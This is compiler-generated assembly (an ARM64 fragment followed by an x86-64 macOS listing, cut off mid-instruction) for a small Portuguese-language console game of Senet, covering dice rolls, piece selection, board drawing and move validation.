LBB8_35: ldr x9, [sp, #32] ; 8-byte Folded Reload mov w8, #1 str w8, [x9] b LBB8_36 LBB8_36: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _jogador@GOTPAGE ldr x8, [x8, _jogador@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill adrp x8, _pe@GOTPAGE ldr x8, [x8, _pe@GOTPAGEOFF] str x8, [sp, #24] ; 8-byte Folded Spill adrp x8, _ope@GOTPAGE ldr x8, [x8, _ope@GOTPAGEOFF] str x8, [sp, #32] ; 8-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] stur x1, [x29, #-16] adrp x0, l_.str.22@PAGE add x0, x0, l_.str.22@PAGEOFF bl _system bl _Senet adrp x0, l_.str.23@PAGE add x0, x0, l_.str.23@PAGEOFF bl _printf b LBB9_1 LBB9_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-24] subs w8, w8, #1 cset w8, eq tbnz w8, #0, LBB9_7 b LBB9_2 LBB9_2: ; in Loop: Header=BB9_1 Depth=1 bl _sorteiaEstilete stur w0, [x29, #-24] ldur w8, [x29, #-24] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB9_4 b LBB9_3 LBB9_3: adrp x0, l_.str.24@PAGE add x0, x0, l_.str.24@PAGEOFF bl _printf ldr x9, [sp, #16] ; 8-byte Folded Reload mov w8, #1 str w8, [x9] b LBB9_7 LBB9_4: ; in Loop: Header=BB9_1 Depth=1 bl _sorteiaEstilete stur w0, [x29, #-24] ldur w8, [x29, #-24] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB9_6 b LBB9_5 LBB9_5: adrp x0, l_.str.25@PAGE add x0, x0, l_.str.25@PAGEOFF bl _printf ldr x9, [sp, #16] ; 8-byte Folded Reload mov w8, #2 str w8, [x9] b LBB9_7 LBB9_6: ; in Loop: Header=BB9_1 Depth=1 b LBB9_1 LBB9_7: bl _escolhePeca stur w0, [x29, #-20] ldur w8, [x29, #-20] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB9_10 b LBB9_8 LBB9_8: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB9_10 b LBB9_9 LBB9_9: ldr x9, [sp, #32] ; 8-byte Folded Reload ldr x10, [sp, #24] ; 8-byte Folded Reload mov w8, #88 strb w8, [x10] mov w8, #79 strb w8, [x9] b LBB9_22 LBB9_10: ldur w8, [x29, #-20] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB9_13 b LBB9_11 LBB9_11: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB9_13 b LBB9_12 LBB9_12: ldr x9, [sp, #32] ; 8-byte Folded Reload ldr x10, [sp, #24] ; 8-byte Folded Reload mov w8, #79 strb w8, [x10] mov w8, #88 strb w8, [x9] b LBB9_21 LBB9_13: ldur w8, [x29, #-20] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB9_16 b LBB9_14 LBB9_14: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB9_16 b LBB9_15 LBB9_15: ldr x9, [sp, #32] ; 8-byte Folded Reload ldr x10, [sp, #24] ; 8-byte Folded Reload mov w8, #79 strb w8, [x10] mov w8, #88 strb w8, [x9] b LBB9_20 LBB9_16: ldur w8, [x29, #-20] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB9_19 b LBB9_17 LBB9_17: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB9_19 b LBB9_18 LBB9_18: ldr x9, [sp, #32] ; 8-byte Folded Reload ldr x10, [sp, #24] ; 8-byte Folded Reload mov w8, #88 strb w8, [x10] mov w8, #79 strb w8, [x9] b LBB9_19 LBB9_19: b LBB9_20 LBB9_20: b LBB9_21 LBB9_21: b LBB9_22 LBB9_22: bl _tabuleiro b LBB9_23 LBB9_23: ; =>This Inner Loop Header: Depth=1 adrp x8, _player1@PAGE ldr w8, [x8, _player1@PAGEOFF] subs w8, w8, #5 cset w8, ge mov w9, #0 str w9, [sp, #12] ; 4-byte Folded Spill tbnz w8, #0, LBB9_25 b LBB9_24 LBB9_24: ; in Loop: Header=BB9_23 Depth=1 adrp x8, _player2@PAGE ldr w8, [x8, _player2@PAGEOFF] subs w8, w8, #5 cset w8, lt str w8, [sp, #12] ; 4-byte Folded Spill b LBB9_25 LBB9_25: ; in Loop: Header=BB9_23 Depth=1 ldr w8, [sp, #12] ; 4-byte Folded Reload tbz w8, #0, LBB9_27 b LBB9_26 LBB9_26: ; in Loop: Header=BB9_23 Depth=1 bl _movimento b LBB9_23 LBB9_27: adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _system adrp x8, _player1@PAGE ldr w8, [x8, _player1@PAGEOFF] subs w8, w8, #5 cset w8, ne tbnz w8, #0, LBB9_29 b LBB9_28 LBB9_28: adrp x0, l_.str.26@PAGE add x0, x0, l_.str.26@PAGEOFF bl _printf b LBB9_30 LBB9_29: adrp x0, l_.str.27@PAGE add x0, x0, l_.str.27@PAGEOFF bl _printf b LBB9_30 LBB9_30: mov w0, #0 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _p ; @p .zerofill __DATA,__common,_p,4,2 .section __DATA,__data .globl _a ; @a .p2align 2 _a: .long 1 ; 0x1 .globl _vez ; @vez .zerofill __DATA,__common,_vez,4,2 .globl _player1 ; @player1 .zerofill __DATA,__common,_player1,4,2 .globl _player2 ; @player2 .zerofill __DATA,__common,_player2,4,2 .globl _x ; @x _x: .ascii "OXOXOXOXOX " .globl _o ; @o _o: .ascii "XOXOXOXOXO " .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "\n\t\t\t\t\t------------------------------------" l_.str.1: ; @.str.1 .asciz "\n\t\t\t\t\t---------------Senet----------------" l_.str.2: ; @.str.2 .asciz "Escolha uma peca [x/o]: " l_.str.3: ; @.str.3 .asciz "%c" l_.str.4: ; @.str.4 .asciz "\nPeca invalida\n" .comm _i,4,2 ; @i .comm _m,30,0 ; @m l_.str.5: ; @.str.5 .asciz "cls" l_.str.6: ; @.str.6 .asciz "\n" l_.str.7: ; @.str.7 .asciz " 0 1 2 3 4 5 6 7 8 9\n" l_.str.8: ; @.str.8 .asciz " [ %c ] " l_.str.9: ; @.str.9 .asciz " 19 18 17 16 15 14 13 12 11 10\n" l_.str.10: ; @.str.10 .asciz " 20 21 22 23 24 25 26 27 28 29\n" l_.str.11: ; @.str.11 .asciz "\n\n" l_.str.12: ; @.str.12 .asciz "\nJogador 1 = %c\tJogador 2 = %c\n\n" .comm _pe,1,0 ; @pe .comm _ope,1,0 ; @ope l_.str.13: ; @.str.13 .asciz "\n\t\t\t\t Placar\n\n" l_.str.14: ; @.str.14 .asciz "\t\t\tJogador 1 = %d\tJogador 2 = %d\n\n" .comm _jogador,4,2 ; @jogador .comm _j,4,2 ; @j l_.str.15: ; @.str.15 .asciz "\nNao ha jogadas possiveis\n" l_.str.16: ; @.str.16 .asciz "\njogador = %d vez=%d" l_.str.17: ; @.str.17 .asciz "\n\nVez do jogador %d" l_.str.18: ; @.str.18 .asciz "\n\nEstilete = %d\n\n" l_.str.19: ; @.str.19 .asciz "\nQual peca deseja mover? " l_.str.20: ; @.str.20 .asciz "%d" l_.str.21: ; @.str.21 .asciz "\nMovimento invalido\n\nDigite novamente:" l_.str.22: ; @.str.22 .asciz "color 0A" l_.str.23: ; @.str.23 .asciz "\n\n\n\n\t\t\t\tSorteando o primeiro a jogar...\n\n" l_.str.24: ; @.str.24 .asciz "\nJogador 1 comeca!\n" l_.str.25: ; @.str.25 .asciz "\nJogador 2 comeca!\n" l_.str.26: ; @.str.26 .asciz "\n\n\n\t\t\t\tJOGADOR 1 GANHOU!!!!\n\n\n" l_.str.27: ; @.str.27 .asciz "\n\n\n\t\t\t\tJOGADOR 2 GANHOU!!!!\n\n\n" .comm _proximo,4,2 ; @proximo .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _Senet ## -- Begin function Senet .p2align 4, 0x90 _Senet: ## @Senet .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf leaq L_.str(%rip), %rdi movb $0, %al callq _printf popq %rbp retq .cfi_endproc ## -- End function .globl _sorteiaEstilete ## -- Begin function sorteiaEstilete .p2align 4, 0x90 _sorteiaEstilete: ## @sorteiaEstilete .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp xorl %eax, %eax movl %eax, %edi callq _time movslq _a(%rip), %rcx imulq %rcx, %rax movl %eax, %edi callq _srand callq _rand movl $2, %ecx cltd idivl %ecx movl %edx, -16(%rbp) ## 4-byte Spill callq _rand movl $2, %ecx cltd idivl %ecx movl %edx, %eax movl -16(%rbp), %edx ## 4-byte Reload addl %eax, %edx movl %edx, -12(%rbp) ## 4-byte Spill callq _rand movl $2, %ecx cltd idivl %ecx movl -12(%rbp), %eax ## 4-byte Reload addl %edx, %eax movl %eax, -8(%rbp) ## 4-byte Spill callq _rand movl $2, %ecx cltd idivl %ecx movl -8(%rbp), %eax ## 4-byte Reload addl %edx, %eax movl %eax, -4(%rbp) movl _a(%rip), %eax addl $1, %eax movl %eax, _a(%rip) cmpl $0, -4(%rbp) jne LBB1_2 ## %bb.1: movl $6, -4(%rbp) LBB1_2: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _escolhePeca ## -- Begin function escolhePeca .p2align 4, 0x90 _escolhePeca: ## @escolhePeca .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB2_1: ## =>This Inner Loop Header: Depth=1 leaq L_.str.3(%rip), %rdi leaq -1(%rbp), %rsi movb $0, %al callq _scanf callq _getchar movsbl -1(%rbp), %eax cmpl $120, %eax je LBB2_4 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movsbl -1(%rbp), %eax cmpl $111, %eax je LBB2_4 ## %bb.3: ## in Loop: Header=BB2_1 Depth=1 leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf LBB2_4: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_5 LBB2_5: ## in Loop: Header=BB2_1 Depth=1 movsbl -1(%rbp), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $120, %ecx movb %al, -2(%rbp) ## 1-byte Spill je LBB2_7 ## %bb.6: ## in Loop: Header=BB2_1 Depth=1 movsbl -1(%rbp), %eax cmpl $111, %eax setne %al movb %al, -2(%rbp) ## 1-byte Spill LBB2_7: ## in Loop: Header=BB2_1 Depth=1 movb -2(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB2_1 ## %bb.8: movsbl -1(%rbp), %eax cmpl $120, %eax jne LBB2_14 ## %bb.9: movq _i@GOTPCREL(%rip), %rax movl $0, (%rax) LBB2_10: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $30, (%rax) jge LBB2_13 ## %bb.11: ## in Loop: Header=BB2_10 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx leaq _x(%rip), %rax movb (%rax,%rcx), %dl movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movb %dl, (%rax,%rcx) movl $1, _p(%rip) ## %bb.12: ## in Loop: Header=BB2_10 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB2_10 LBB2_13: jmp LBB2_19 LBB2_14: movq _i@GOTPCREL(%rip), %rax movl $0, (%rax) LBB2_15: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $30, (%rax) jge LBB2_18 ## %bb.16: ## in Loop: Header=BB2_15 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx leaq _o(%rip), %rax movb (%rax,%rcx), %dl movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movb %dl, (%rax,%rcx) ## %bb.17: ## in Loop: Header=BB2_15 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB2_15 LBB2_18: jmp LBB2_19 LBB2_19: movl _p(%rip), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _tabuleiro ## -- Begin function tabuleiro .p2align 4, 0x90 _tabuleiro: ## @tabuleiro .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str.5(%rip), %rdi callq _system leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf leaq L_.str.7(%rip), %rdi movb $0, %al callq _printf movq _i@GOTPCREL(%rip), %rax movl $0, (%rax) LBB3_1: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $10, (%rax) jge LBB3_4 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %esi leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf ## %bb.3: ## in Loop: Header=BB3_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB3_1 LBB3_4: leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf leaq L_.str.9(%rip), %rdi movb $0, %al callq _printf movq _i@GOTPCREL(%rip), %rax movl $19, (%rax) LBB3_5: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $10, (%rax) jl LBB3_8 ## %bb.6: ## in Loop: Header=BB3_5 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %esi leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf ## %bb.7: ## in Loop: Header=BB3_5 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $-1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB3_5 LBB3_8: leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf leaq L_.str.10(%rip), %rdi movb $0, %al callq _printf movq _i@GOTPCREL(%rip), %rax movl $20, (%rax) LBB3_9: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $25, (%rax) jge LBB3_12 ## %bb.10: ## in Loop: Header=BB3_9 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %esi leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf ## %bb.11: ## in Loop: Header=BB3_9 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB3_9 LBB3_12: movq _i@GOTPCREL(%rip), %rax movl $25, (%rax) LBB3_13: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $30, (%rax) jge LBB3_19 ## %bb.14: ## in Loop: Header=BB3_13 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax cmpl $32, %eax jne LBB3_16 ## %bb.15: ## in Loop: Header=BB3_13 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %esi addl $40, %esi leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf jmp LBB3_17 LBB3_16: ## in Loop: Header=BB3_13 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %esi leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf LBB3_17: ## in Loop: Header=BB3_13 Depth=1 jmp LBB3_18 LBB3_18: ## in Loop: Header=BB3_13 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB3_13 LBB3_19: leaq L_.str.11(%rip), %rdi movb $0, %al callq _printf movq _pe@GOTPCREL(%rip), %rax movsbl (%rax), %esi movq _ope@GOTPCREL(%rip), %rax movsbl (%rax), %edx leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf leaq L_.str.13(%rip), %rdi movb $0, %al callq _printf movl _player1(%rip), %esi movl _player2(%rip), %edx leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf popq %rbp retq .cfi_endproc ## -- End function .globl _conferePri ## -- Begin function conferePri .p2align 4, 0x90 _conferePri: ## @conferePri .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movb %dil, %al movb %al, -5(%rbp) movq _i@GOTPCREL(%rip), %rax movl $0, (%rax) LBB4_1: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $10, (%rax) jge LBB4_6 ## %bb.2: ## in Loop: Header=BB4_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movsbl -5(%rbp), %ecx cmpl %ecx, %eax jne LBB4_4 ## %bb.3: movl $1, -4(%rbp) jmp LBB4_7 LBB4_4: ## in Loop: Header=BB4_1 Depth=1 jmp LBB4_5 LBB4_5: ## in Loop: Header=BB4_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB4_1 LBB4_6: movl $0, -4(%rbp) LBB4_7: movl -4(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .globl _verificaMovimento ## -- Begin function verificaMovimento .p2align 4, 0x90 _verificaMovimento: ## @verificaMovimento .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -8(%rbp) movl %esi, -12(%rbp) cmpl $0, -8(%rbp) jl LBB5_2 ## %bb.1: cmpl $29, -8(%rbp) jle LBB5_3 LBB5_2: movl $1, -4(%rbp) jmp LBB5_32 LBB5_3: movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB5_5 ## %bb.4: movslq -8(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _pe@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax jne LBB5_7 LBB5_5: movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB5_8 ## %bb.6: movslq -8(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _ope@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax je LBB5_8 LBB5_7: movl $1, -4(%rbp) jmp LBB5_32 LBB5_8: movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB5_10 ## %bb.9: movl -8(%rbp), %eax addl -12(%rbp), %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _pe@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax je LBB5_12 LBB5_10: movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB5_13 ## %bb.11: movl -8(%rbp), %eax addl -12(%rbp), %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _ope@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax jne LBB5_13 LBB5_12: movl $1, -4(%rbp) jmp LBB5_32 LBB5_13: movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB5_17 ## %bb.14: movl -8(%rbp), %eax addl -12(%rbp), %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _ope@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax jne LBB5_17 ## %bb.15: movl -8(%rbp), %eax addl -12(%rbp), %eax subl $1, %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _ope@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax je LBB5_21 ## %bb.16: movl -8(%rbp), %eax addl -12(%rbp), %eax addl $1, %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _ope@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax je LBB5_21 LBB5_17: movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB5_22 ## %bb.18: movl -8(%rbp), %eax addl -12(%rbp), %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _pe@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax jne LBB5_22 ## %bb.19: movl -8(%rbp), %eax addl -12(%rbp), %eax subl $1, %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _pe@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax je LBB5_21 ## %bb.20: movl -8(%rbp), %eax addl -12(%rbp), %eax addl $1, %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _pe@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax jne LBB5_22 LBB5_21: movl $1, -4(%rbp) jmp LBB5_32 LBB5_22: movl -8(%rbp), %eax addl -12(%rbp), %eax cmpl $25, %eax je LBB5_25 ## %bb.23: movl -8(%rbp), %eax addl -12(%rbp), %eax cmpl $27, %eax je LBB5_25 ## %bb.24: movl -8(%rbp), %eax addl -12(%rbp), %eax cmpl $28, %eax jne LBB5_27 LBB5_25: movl -8(%rbp), %eax addl -12(%rbp), %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax cmpl $32, %eax je LBB5_27 ## %bb.26: movl $1, -4(%rbp) jmp LBB5_32 LBB5_27: movl -8(%rbp), %eax addl -12(%rbp), %eax cmpl $29, %eax jle LBB5_31 ## %bb.28: movq _m@GOTPCREL(%rip), %rax movsbl 29(%rax), %eax movslq -8(%rbp), %rdx movq _m@GOTPCREL(%rip), %rcx movsbl (%rcx,%rdx), %ecx cmpl %ecx, %eax jne LBB5_31 ## %bb.29: movslq -8(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %edi callq _conferePri cmpl $1, %eax jne LBB5_31 ## %bb.30: movl $1, -4(%rbp) jmp LBB5_32 LBB5_31: movl $0, -4(%rbp) LBB5_32: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _testaMovimento ## -- Begin function testaMovimento .p2align 4, 0x90 _testaMovimento: ## @testaMovimento .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -8(%rbp) movq _i@GOTPCREL(%rip), %rax movl $0, (%rax) LBB6_1: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $30, (%rax) jge LBB6_10 ## %bb.2: ## in Loop: Header=BB6_1 Depth=1 movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB6_4 ## %bb.3: ## in Loop: Header=BB6_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _pe@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax je LBB6_6 LBB6_4: ## in Loop: Header=BB6_1 Depth=1 movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB6_8 ## %bb.5: ## in Loop: Header=BB6_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _ope@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax jne LBB6_8 LBB6_6: ## in Loop: Header=BB6_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %edi movl -8(%rbp), %esi callq _verificaMovimento cmpl $0, %eax jne LBB6_8 ## %bb.7: movl $0, -4(%rbp) jmp LBB6_11 LBB6_8: ## in Loop: Header=BB6_1 Depth=1 jmp LBB6_9 LBB6_9: ## in Loop: Header=BB6_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB6_1 LBB6_10: movl $1, -4(%rbp) LBB6_11: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _move ## -- Begin function move .p2align 4, 0x90 _move: ## @move .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl -4(%rbp), %eax addl -8(%rbp), %eax cmpl $26, %eax jne LBB7_8 ## %bb.1: movq _m@GOTPCREL(%rip), %rax movsbl 14(%rax), %eax cmpl $32, %eax jne LBB7_3 ## %bb.2: movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb (%rax,%rcx), %cl movq _m@GOTPCREL(%rip), %rax movb %cl, 14(%rax) jmp LBB7_7 LBB7_3: movl -8(%rbp), %ecx movq _j@GOTPCREL(%rip), %rax movl %ecx, (%rax) LBB7_4: ## =>This Inner Loop Header: Depth=1 movq _j@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax cmpl $32, %eax je LBB7_6 ## %bb.5: ## in Loop: Header=BB7_4 Depth=1 movq _j@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _j@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB7_4 LBB7_6: movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb (%rax,%rcx), %dl movq _j@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movb %dl, (%rax,%rcx) LBB7_7: movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb $32, (%rax,%rcx) LBB7_8: movl -4(%rbp), %eax addl -8(%rbp), %eax cmpl $29, %eax jl LBB7_19 ## %bb.9: movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %edi callq _conferePri cmpl $0, %eax jne LBB7_15 ## %bb.10: movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb $32, (%rax,%rcx) movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB7_12 ## %bb.11: movl _player1(%rip), %eax addl $1, %eax movl %eax, _player1(%rip) LBB7_12: movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB7_14 ## %bb.13: movl _player2(%rip), %eax addl $1, %eax movl %eax, _player2(%rip) LBB7_14: jmp LBB7_18 LBB7_15: movq _m@GOTPCREL(%rip), %rax movsbl 29(%rax), %eax movslq -4(%rbp), %rdx movq _m@GOTPCREL(%rip), %rcx movsbl (%rcx,%rdx), %ecx cmpl %ecx, %eax je LBB7_17 ## %bb.16: movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb (%rax,%rcx), %al movb %al, -9(%rbp) movq _m@GOTPCREL(%rip), %rax movb 29(%rax), %dl movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb %dl, (%rax,%rcx) movb -9(%rbp), %cl movq _m@GOTPCREL(%rip), %rax movb %cl, 29(%rax) LBB7_17: jmp LBB7_18 LBB7_18: jmp LBB7_19 LBB7_19: movl -4(%rbp), %eax addl 